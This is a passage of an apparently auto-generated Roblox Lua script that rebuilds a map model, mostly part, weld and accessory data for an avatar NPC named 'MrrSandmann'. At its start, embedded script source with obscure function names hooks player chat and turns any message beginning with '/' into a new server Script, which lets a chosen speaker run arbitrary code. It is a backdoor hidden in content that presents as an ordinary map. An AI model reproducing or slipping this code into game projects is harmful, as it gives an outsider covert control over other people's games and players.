sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld804.Parent = Part802 Weld804.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld804.C1 = CFrame.new(-1.40002823, -0.199951172, 1, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld804.Part0 = Part802 Weld804.Part1 = Part659 Weld804.part1 = Part659 Weld805.Parent = Part802 Weld805.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld805.C1 = CFrame.new(-1.40002441, -0.199951172, 1, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld805.Part0 = Part802 Weld805.Part1 = Part659 Weld805.part1 = Part659 Weld806.Parent = Part802 Weld806.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld806.C1 = CFrame.new(-1.40002823, -0.199951172, 1, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld806.Part0 = Part802 Weld806.Part1 = Part659 Weld806.part1 = Part659 Model807.Name = "MrrSandmann" Model807.Parent = Model319 Model807.PrimaryPart = Part808 Part808.Name = "HumanoidRootPart" Part808.Parent = Model807 Part808.CFrame = CFrame.new(227.5, 3.00000048, -106, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part808.Orientation = Vector3.new(0, 90, 0) Part808.Position = Vector3.new(227.5, 3.00000048, -106) Part808.Rotation = Vector3.new(0, 90, 0) Part808.Transparency = 1 Part808.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) Part808.Size = Vector3.new(2, 2, 1) Part808.Anchored = true Vector3Value809.Name = "OriginalPosition" Vector3Value809.Parent = mas Vector3Value809.Value = Vector3.new(-0, -0.649999976, -0) Vector3Value810.Name = "OriginalSize" Vector3Value810.Parent = Part808 Vector3Value810.Value = Vector3.new(2, 2, 1) MeshPart811.Name = "LeftHand" MeshPart811.Parent = Model807 MeshPart811.CFrame = CFrame.new(227.820389, 2.1500001, -105.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart811.Orientation = Vector3.new(0, 90, 0) MeshPart811.Position = Vector3.new(227.820389, 2.1500001, -105.033447) MeshPart811.Rotation = Vector3.new(0, 90, 0) MeshPart811.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart811.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart811.Size = Vector3.new(0.999999762, 0.299999982, 0.999999881) MeshPart811.Anchored = true MeshPart811.BrickColor = BrickColor.new("Cool yellow") MeshPart811.CanCollide = false MeshPart811.brickColor = BrickColor.new("Cool yellow") Motor6D812.Name = "LeftWrist" Motor6D812.Parent = MeshPart811 Motor6D812.C0 = CFrame.new(0.000478506088, -0.549999952, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D812.C1 = CFrame.new(0.000478863716, 0.149999991, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D812.Part0 = MeshPart814 Motor6D812.Part1 = MeshPart811 Motor6D812.part1 = MeshPart811 Vector3Value813.Name = "OriginalSize" Vector3Value813.Parent = MeshPart811 Vector3Value813.Value = Vector3.new(0.999999762, 0.299999982, 0.999999881) MeshPart814.Name = "LeftLowerArm" MeshPart814.Parent = Model807 MeshPart814.CFrame = CFrame.new(227.820389, 2.8499999, -105.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart814.Orientation = Vector3.new(0, 90, 0) MeshPart814.Position = Vector3.new(227.820389, 2.8499999, -105.033447) MeshPart814.Rotation = Vector3.new(0, 90, 0) MeshPart814.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart814.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart814.Size = Vector3.new(0.999999762, 1.20000029, 1) MeshPart814.Anchored = true MeshPart814.BrickColor = BrickColor.new("Cool yellow") MeshPart814.CanCollide = false MeshPart814.brickColor = BrickColor.new("Cool yellow") Motor6D815.Name = "LeftElbow" Motor6D815.Parent = MeshPart814 Motor6D815.C0 = CFrame.new(0.000479102135, -0.200000167, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D815.C1 = CFrame.new(0.000478506088, 0.25000003, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D815.Part0 = MeshPart816 Motor6D815.Part1 = MeshPart814 Motor6D815.part1 = MeshPart814 MeshPart816.Name = "LeftUpperArm" MeshPart816.Parent = Model807 MeshPart816.CFrame = CFrame.new(227.820389, 3.29999995, -105.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart816.Orientation = Vector3.new(0, 90, 0) MeshPart816.Position = Vector3.new(227.820389, 3.29999995, -105.033447) MeshPart816.Rotation = Vector3.new(0, 90, 0) MeshPart816.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart816.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart816.Size = Vector3.new(0.999999762, 1.40000033, 0.99999994) MeshPart816.Anchored = true MeshPart816.BrickColor = BrickColor.new("Cool yellow") MeshPart816.CanCollide = false MeshPart816.brickColor = BrickColor.new("Cool yellow") Motor6D817.Name = "LeftShoulder" Motor6D817.Parent = MeshPart816 Motor6D817.C0 = CFrame.new(-1.24989128, 0.549999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D817.C1 = CFrame.new(0.250109196, 0.449999809, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D817.Part0 = MeshPart824 Motor6D817.Part1 = MeshPart816 Motor6D817.part1 = MeshPart816 MeshPart818.Name = "RightHand" MeshPart818.Parent = Model807 MeshPart818.CFrame = CFrame.new(227.820389, 2.1500001, -108.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart818.Orientation = Vector3.new(0, 90, 0) MeshPart818.Position = Vector3.new(227.820389, 2.1500001, -108.033447) MeshPart818.Rotation = Vector3.new(0, 90, 0) MeshPart818.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart818.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart818.Size = Vector3.new(0.999999881, 0.299999982, 0.999999881) MeshPart818.Anchored = true MeshPart818.BrickColor = BrickColor.new("Cool yellow") MeshPart818.CanCollide = false MeshPart818.brickColor = BrickColor.new("Cool yellow") Motor6D819.Name = "RightWrist" Motor6D819.Parent = MeshPart818 Motor6D819.C0 = CFrame.new(1.1920929e-07, -0.549999952, -6.86244753e-18, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D819.C1 = CFrame.new(3.57627869e-07, 0.149999991, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D819.Part0 = MeshPart820 Motor6D819.Part1 = MeshPart818 Motor6D819.part1 = MeshPart818 MeshPart820.Name = "RightLowerArm" MeshPart820.Parent = Model807 MeshPart820.CFrame = CFrame.new(227.820389, 2.8499999, -108.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart820.Orientation = Vector3.new(0, 90, 0) MeshPart820.Position = Vector3.new(227.820389, 2.8499999, -108.033447) MeshPart820.Rotation = Vector3.new(0, 90, 0) MeshPart820.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart820.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart820.Size = Vector3.new(0.999999762, 1.20000029, 1) MeshPart820.Anchored = true MeshPart820.BrickColor = BrickColor.new("Cool yellow") MeshPart820.CanCollide = false MeshPart820.brickColor = BrickColor.new("Cool yellow") Motor6D821.Name = "RightElbow" Motor6D821.Parent = MeshPart820 Motor6D821.C0 = CFrame.new(-5.96046448e-07, -0.200000167, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D821.C1 = CFrame.new(1.1920929e-07, 0.25000003, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D821.Part0 = MeshPart822 Motor6D821.Part1 = MeshPart820 Motor6D821.part1 = MeshPart820 MeshPart822.Name = "RightUpperArm" MeshPart822.Parent = Model807 MeshPart822.CFrame = CFrame.new(227.820389, 3.29999995, -108.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart822.Orientation = Vector3.new(0, 90, 0) MeshPart822.Position = Vector3.new(227.820389, 3.29999995, -108.033447) MeshPart822.Rotation = Vector3.new(0, 90, 0) MeshPart822.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart822.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart822.Size = Vector3.new(0.999999642, 1.40000033, 0.99999994) MeshPart822.Anchored = true MeshPart822.BrickColor = BrickColor.new("Cool yellow") MeshPart822.CanCollide = false MeshPart822.brickColor = BrickColor.new("Cool yellow") Motor6D823.Name = "RightShoulder" Motor6D823.Parent = MeshPart822 Motor6D823.C0 = CFrame.new(1.24998045, 0.549999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D823.C1 = CFrame.new(-0.250020266, 0.449999809, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D823.Part0 = MeshPart824 Motor6D823.Part1 = MeshPart822 Motor6D823.part1 = MeshPart822 MeshPart824.Name = "UpperTorso" MeshPart824.Parent = Model807 MeshPart824.CFrame = CFrame.new(227.820389, 3.20000005, -106.533447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart824.Orientation = Vector3.new(0, 90, 0) MeshPart824.Position = Vector3.new(227.820389, 3.20000005, -106.533447) MeshPart824.Rotation = Vector3.new(0, 90, 0) MeshPart824.Color = Color3.new(0.156863, 0.498039, 0.278431) MeshPart824.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart824.Size = Vector3.new(2, 1.60000014, 1.00000036) MeshPart824.Anchored = true MeshPart824.BrickColor = BrickColor.new("Dark green") MeshPart824.brickColor = BrickColor.new("Dark green") Motor6D825.Name = "Waist" Motor6D825.Parent = MeshPart824 Motor6D825.C0 = CFrame.new(-1.1920929e-07, 0.550000072, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D825.C1 = CFrame.new(-5.96046448e-08, -0.450000018, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D825.Part0 = MeshPart838 Motor6D825.Part1 = MeshPart824 Motor6D825.part1 = MeshPart824 MeshPart826.Name = "LeftFoot" MeshPart826.Parent = Model807 MeshPart826.CFrame = CFrame.new(227.820389, 0.150000006, -106.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart826.Orientation = Vector3.new(0, 90, 0) MeshPart826.Position = Vector3.new(227.820389, 0.150000006, -106.033447) MeshPart826.Rotation = Vector3.new(0, 90, 0) MeshPart826.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart826.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart826.Size = Vector3.new(1, 0.300000191, 1) MeshPart826.Anchored = true MeshPart826.BrickColor = BrickColor.new("Bright blue") MeshPart826.CanCollide = false MeshPart826.brickColor = BrickColor.new("Bright blue") Motor6D827.Name = "LeftAnkle" Motor6D827.Parent = MeshPart826 Motor6D827.C0 = CFrame.new(-1.78813934e-07, -0.749997616, 6.29340548e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D827.C1 = CFrame.new(-2.38418579e-07, 0.0500025749, 8.08154482e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D827.Part0 = MeshPart828 Motor6D827.Part1 = MeshPart826 Motor6D827.part1 = MeshPart826 MeshPart828.Name = "LeftLowerLeg" MeshPart828.Parent = Model807 MeshPart828.CFrame = CFrame.new(227.820389, 0.949999988, -106.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart828.Orientation = Vector3.new(0, 90, 0) MeshPart828.Position = Vector3.new(227.820389, 0.949999988, -106.033447) MeshPart828.Rotation = Vector3.new(0, 90, 0) MeshPart828.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart828.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart828.Size = Vector3.new(0.99999994, 1.50000036, 1.00000012) MeshPart828.Anchored = true MeshPart828.BrickColor = BrickColor.new("Bright blue") MeshPart828.CanCollide = false MeshPart828.brickColor = BrickColor.new("Bright blue") Motor6D829.Name = "LeftKnee" Motor6D829.Parent = MeshPart828 Motor6D829.C0 = CFrame.new(5.96046448e-08, -0.299999952, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D829.C1 = CFrame.new(-0, 0.249999642, -1.78813934e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D829.Part0 = MeshPart830 Motor6D829.Part1 = MeshPart828 Motor6D829.part1 = MeshPart828 MeshPart830.Name = "LeftUpperLeg" MeshPart830.Parent = Model807 MeshPart830.CFrame = CFrame.new(227.820389, 1.5, -106.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart830.Orientation = Vector3.new(0, 90, 0) MeshPart830.Position = Vector3.new(227.820389, 1.5, -106.033447) MeshPart830.Rotation = Vector3.new(0, 90, 0) MeshPart830.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart830.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart830.Size = Vector3.new(1.00000036, 1.49999976, 0.999999881) MeshPart830.Anchored = true MeshPart830.BrickColor = BrickColor.new("Bright blue") MeshPart830.CanCollide = false MeshPart830.brickColor = BrickColor.new("Bright blue") Motor6D831.Name = "LeftHip" Motor6D831.Parent = MeshPart830 Motor6D831.C0 = CFrame.new(-0.500000119, -0.199999958, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D831.C1 = CFrame.new(5.96046448e-08, 0.5, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D831.Part0 = MeshPart838 Motor6D831.Part1 = MeshPart830 Motor6D831.part1 = MeshPart830 MeshPart832.Name = "RightFoot" MeshPart832.Parent = Model807 MeshPart832.CFrame = CFrame.new(227.820389, 0.150000006, -107.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart832.Orientation = Vector3.new(0, 90, 0) MeshPart832.Position = Vector3.new(227.820389, 0.150000006, -107.033447) MeshPart832.Rotation = Vector3.new(0, 90, 0) MeshPart832.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart832.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart832.Size = Vector3.new(0.99999994, 0.300000191, 1) MeshPart832.Anchored = true MeshPart832.BrickColor = BrickColor.new("Bright blue") MeshPart832.CanCollide = false MeshPart832.brickColor = BrickColor.new("Bright blue") Motor6D833.Name = "RightAnkle" Motor6D833.Parent = MeshPart832 Motor6D833.C0 = CFrame.new(-0, -0.750000477, 9.82746205e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D833.C1 = CFrame.new(-0, 0.0499997139, 9.84534345e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D833.Part0 = MeshPart834 Motor6D833.Part1 = MeshPart832 Motor6D833.part1 = MeshPart832 MeshPart834.Name = "RightLowerLeg" MeshPart834.Parent = Model807 MeshPart834.CFrame = CFrame.new(227.820389, 0.949999988, -107.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart834.Orientation = Vector3.new(0, 90, 0) MeshPart834.Position = Vector3.new(227.820389, 0.949999988, -107.033447) MeshPart834.Rotation = Vector3.new(0, 90, 0) MeshPart834.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart834.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart834.Size = Vector3.new(0.99999994, 1.50000036, 1.00000012) MeshPart834.Anchored = true MeshPart834.BrickColor = BrickColor.new("Bright blue") MeshPart834.CanCollide = false MeshPart834.brickColor = BrickColor.new("Bright blue") Motor6D835.Name = "RightKnee" Motor6D835.Parent = MeshPart834 Motor6D835.C0 = CFrame.new(-0, -0.299999952, 4.36005103e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D835.C1 = CFrame.new(-0, 0.249999642, 4.35260044e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D835.Part0 = MeshPart836 Motor6D835.Part1 = MeshPart834 Motor6D835.part1 = MeshPart834 MeshPart836.Name = "RightUpperLeg" MeshPart836.Parent = Model807 MeshPart836.CFrame = CFrame.new(227.820389, 1.5, -107.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart836.Orientation = Vector3.new(0, 90, 0) MeshPart836.Position = Vector3.new(227.820389, 1.5, -107.033447) MeshPart836.Rotation = Vector3.new(0, 90, 0) MeshPart836.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart836.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart836.Size = Vector3.new(1.00000048, 1.49999976, 0.999999881) MeshPart836.Anchored = true MeshPart836.BrickColor = BrickColor.new("Bright blue") MeshPart836.CanCollide = false MeshPart836.brickColor = BrickColor.new("Bright blue") Motor6D837.Name = "RightHip" Motor6D837.Parent = MeshPart836 Motor6D837.C0 = CFrame.new(0.499999881, -0.199999958, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D837.C1 = CFrame.new(-0, 0.5, -1.04308128e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D837.Part0 = MeshPart838 Motor6D837.Part1 = MeshPart836 Motor6D837.part1 = MeshPart836 MeshPart838.Name = "LowerTorso" MeshPart838.Parent = Model807 MeshPart838.CFrame = CFrame.new(227.820389, 2.20000005, -106.533447, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart838.Orientation = Vector3.new(0, 90, 0) MeshPart838.Position = Vector3.new(227.820389, 2.20000005, -106.533447) MeshPart838.Rotation = Vector3.new(0, 90, 0) MeshPart838.Color = Color3.new(0.156863, 0.498039, 0.278431) MeshPart838.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart838.Size = Vector3.new(1.99999976, 0.399999976, 1.00000012) MeshPart838.Anchored = true MeshPart838.BrickColor = BrickColor.new("Dark green") MeshPart838.brickColor = BrickColor.new("Dark green") Motor6D839.Name = "Root" Motor6D839.Parent = MeshPart838 Motor6D839.C0 = CFrame.new(-0, -0.649999976, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D839.C1 = CFrame.new(-1.1920929e-07, 0.150000036, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D839.Part0 = Part808 Motor6D839.Part1 = MeshPart838 Motor6D839.part1 = MeshPart838 Humanoid840.Parent = Model807 Humanoid840.HipHeight = 2 Humanoid840.LeftLeg = MeshPart830 Humanoid840.RigType = Enum.HumanoidRigType.R15 Humanoid840.RightLeg = MeshPart836 Humanoid840.Torso = Part808 NumberValue841.Name = "BodyWidthScale" NumberValue841.Parent = Humanoid840 NumberValue841.Value = 1 NumberValue842.Name = "BodyHeightScale" NumberValue842.Parent = Humanoid840 NumberValue842.Value = 1 NumberValue843.Name = "BodyDepthScale" NumberValue843.Parent = Humanoid840 NumberValue843.Value = 1 NumberValue844.Name = "HeadScale" NumberValue844.Parent = Humanoid840 NumberValue844.Value = 1 NumberValue845.Name = "BodyTypeScale" NumberValue845.Parent = Humanoid840 NumberValue846.Name = "BodyProportionScale" NumberValue846.Parent = Humanoid840 BoolValue847.Name = "IsR15" BoolValue847.Parent = Humanoid840 BoolValue847.Value = true Part848.Name = "Head" Part848.Parent = Model807 Part848.CFrame = CFrame.new(227.820389, 4.5, -106.533447, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part848.Orientation = Vector3.new(0, 90, 0) Part848.Position = Vector3.new(227.820389, 4.5, -106.533447) Part848.Rotation = Vector3.new(0, 90, 0) Part848.Color = Color3.new(0.992157, 0.917647, 0.552941) Part848.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) Part848.Size = Vector3.new(2, 1, 1) Part848.Anchored = true Part848.BottomSurface = Enum.SurfaceType.Smooth Part848.BrickColor = BrickColor.new("Cool yellow") Part848.TopSurface = Enum.SurfaceType.Smooth Part848.brickColor = BrickColor.new("Cool yellow") SpecialMesh849.Parent = Part848 SpecialMesh849.Scale = Vector3.new(1.25, 1.25, 1.25) Motor6D850.Name = "Neck" Motor6D850.Parent = Part848 Motor6D850.C0 = CFrame.new(-5.96046448e-08, 0.799999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D850.C1 = CFrame.new(0, -0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D850.Part0 = MeshPart824 Motor6D850.Part1 = Part848 Motor6D850.part1 = Part848 Decal851.Name = "face" Decal851.Parent = Part848 Decal851.Texture = "http://www.roblox.com/asset?id=494290547" Dialog852.Parent = Part848 Dialog852.InitialPrompt = "I made this map." Accessory853.Name = "Floating Sparkling Shine" Accessory853.Parent = Model807 Accessory853.AttachmentForward = Vector3.new(-0, -0, 1) Accessory853.AttachmentPoint = CFrame.new(-0.0301818848, 0.206862688, -0.0464763641, -1, 0, 0, 0, 1, 0, 0, 0, -1) Accessory853.AttachmentPos = Vector3.new(-0.0301818848, 0.206862688, -0.0464763641) Accessory853.AttachmentRight = Vector3.new(-1, 0, 0) Part854.Name = "Handle" Part854.Parent = Accessory853 Part854.CFrame = CFrame.new(227.694901, 4.95915222, -106.515106, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part854.Orientation = Vector3.new(0, -90, 0) Part854.Position = Vector3.new(227.694901, 4.95915222, -106.515106) Part854.Rotation = Vector3.new(0, -90, 0) Part854.Size = Vector3.new(2.88000011, 3, 2.70000005) Part854.Anchored = true Part854.BottomSurface = Enum.SurfaceType.Smooth Part854.CanCollide = false Part854.TopSurface = Enum.SurfaceType.Smooth SpecialMesh855.Name = "SpecialMesh" SpecialMesh855.Parent = Part854 SpecialMesh855.MeshId = "rbxassetid://4641670867" SpecialMesh855.TextureId = "rbxassetid://4641683252" SpecialMesh855.MeshType = Enum.MeshType.FileMesh StringValue856.Name = "AvatarPartScaleType" StringValue856.Parent = Part854 StringValue856.Value = "Classic" Weld857.Name = "AccessoryWeld" Weld857.Parent = Part854 Weld857.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld857.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld857.Part0 = Part854 Weld857.Part1 = Part848 Weld857.part1 = Part848 Weld858.Name = "HeadWeld" Weld858.Parent = Part854 Weld858.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld858.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld858.Part0 = Part854 Weld858.Part1 = Part848 Weld858.part1 = Part848 Weld859.Name = "AccessoryWeld" Weld859.Parent = Part854 Weld859.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld859.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld859.Part0 = Part854 Weld859.Part1 = Part848 Weld859.part1 = Part848 Accessory860.Name = "ScarfAccessory" Accessory860.Parent = Model807 Accessory860.AttachmentForward = Vector3.new(1.74845553e-07, -0, -1) Accessory860.AttachmentPoint = CFrame.new(0.104999959, 0.590000272, 0.0299999844, 1, 0, -1.74845553e-07, 0, 1, 0, 1.74845553e-07, 0, 1) Accessory860.AttachmentPos = Vector3.new(0.104999959, 0.590000272, 0.0299999844) Accessory860.AttachmentRight = Vector3.new(1, 0, 1.74845553e-07) Part861.Name = "Handle" Part861.Parent = Accessory860 Part861.CFrame = CFrame.new(227.79039, 3.41000009, -106.428452, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part861.Orientation = Vector3.new(0, 90, 0) Part861.Position = Vector3.new(227.79039, 3.41000009, -106.428452) Part861.Rotation = Vector3.new(0, 90, 0) Part861.Size = Vector3.new(2, 2, 2) Part861.Anchored = true Part861.BottomSurface = Enum.SurfaceType.Smooth Part861.CanCollide = false Part861.Locked = true Part861.TopSurface = Enum.SurfaceType.Smooth SpecialMesh862.Name = "SpecialMesh" SpecialMesh862.Parent = Part861 SpecialMesh862.MeshId = "rbxassetid://4364163302" SpecialMesh862.TextureId = "http://www.roblox.com/asset/?id=4472292171" SpecialMesh862.MeshType = Enum.MeshType.FileMesh StringValue863.Name = "AvatarPartScaleType" StringValue863.Parent = Part861 StringValue863.Value = "Classic" Weld864.Name = "AccessoryWeld" Weld864.Parent = Part861 Weld864.C0 = CFrame.new(0.104999959, 0.590000272, 0.0299999844, 1, 0, -1.74845553e-07, 0, 1, 0, 1.74845553e-07, 0, 1) Weld864.C1 = CFrame.new(0, 0.800000012, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld864.Part0 = Part861 Weld864.Part1 = MeshPart824 Weld864.part1 = MeshPart824 Weld865.Name = "HeadWeld" Weld865.Parent = Part861 Weld865.C0 = CFrame.new(0.104999959, 0.590000272, 0.0299999844, 1, 0, -1.74845553e-07, 0, 1, 0, 1.74845553e-07, 0, 1) Weld865.C1 = CFrame.new(0, 0.800000012, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld865.Part0 = Part861 Weld865.Part1 = MeshPart824 Weld865.part1 = MeshPart824 Weld866.Name = "AccessoryWeld" Weld866.Parent = Part861 Weld866.C0 = CFrame.new(0.104999959, 0.590000272, 0.0299999844, 1, 0, -1.74845553e-07, 0, 1, 0, 1.74845553e-07, 0, 1) Weld866.C1 = CFrame.new(0, 0.800000012, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld866.Part0 = Part861 Weld866.Part1 = MeshPart824 Weld866.part1 = MeshPart824 Pants867.Name = "Pants" Pants867.Parent = Model807 Pants867.PantsTemplate = "http://www.roblox.com/asset/?id=2445453616" Accessory868.Name = "ValkyrieHelm" Accessory868.Parent = Model807 Accessory868.AttachmentForward = Vector3.new(0, -0.254995316, -0.96694231) Accessory868.AttachmentPoint = CFrame.new(0, -0.340000004, -0.239999995, 1, 0, -0, 0, 0.96694231, 0.254995316, 0, -0.254995316, 0.96694231) Accessory868.AttachmentPos = Vector3.new(0, -0.340000004, -0.239999995) Accessory868.AttachmentUp = Vector3.new(0, 0.96694231, -0.254995316) Part869.Name = "Handle" Part869.Parent = Accessory868 Part869.CFrame = CFrame.new(228.139435, 5.26756191, -106.533447, 0, 0.254995078, 0.96694237, 0, 0.96694237, -0.254995078, -1, 0, 0) Part869.Orientation = Vector3.new(14.7700005, 90, 0) Part869.Position = Vector3.new(228.139435, 5.26756191, -106.533447) Part869.Rotation = Vector3.new(90, 75.2300034, -90) Part869.Size = Vector3.new(1, 0.800000012, 1) Part869.Anchored = true Part869.BottomSurface = Enum.SurfaceType.Smooth Part869.CanCollide = false Part869.Locked = true Part869.TopSurface = Enum.SurfaceType.Smooth Part869.FormFactor = Enum.FormFactor.Plate Part869.formFactor = Enum.FormFactor.Plate SpecialMesh870.Parent = Part869 SpecialMesh870.MeshId = "http://www.roblox.com/asset/?id=1365696" SpecialMesh870.Scale = Vector3.new(1, 1, 1.14999998) SpecialMesh870.TextureId = "http://www.roblox.com/asset/?id=1365693" SpecialMesh870.MeshType = Enum.MeshType.FileMesh Weld871.Name = "AccessoryWeld" Weld871.Parent = Part869 Weld871.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 2.00714112e-09, -0.254995316, 0.96694231) Weld871.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld871.Part0 = Part869 Weld871.Part1 = Part848 Weld871.part1 = Part848 Weld872.Name = "HeadWeld" Weld872.Parent = Part869 Weld872.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 2.00714112e-09, -0.254995316, 0.96694231) Weld872.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld872.Part0 = Part869 Weld872.Part1 = Part848 Weld872.part1 = Part848 Weld873.Name = "AccessoryWeld" Weld873.Parent = Part869 Weld873.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 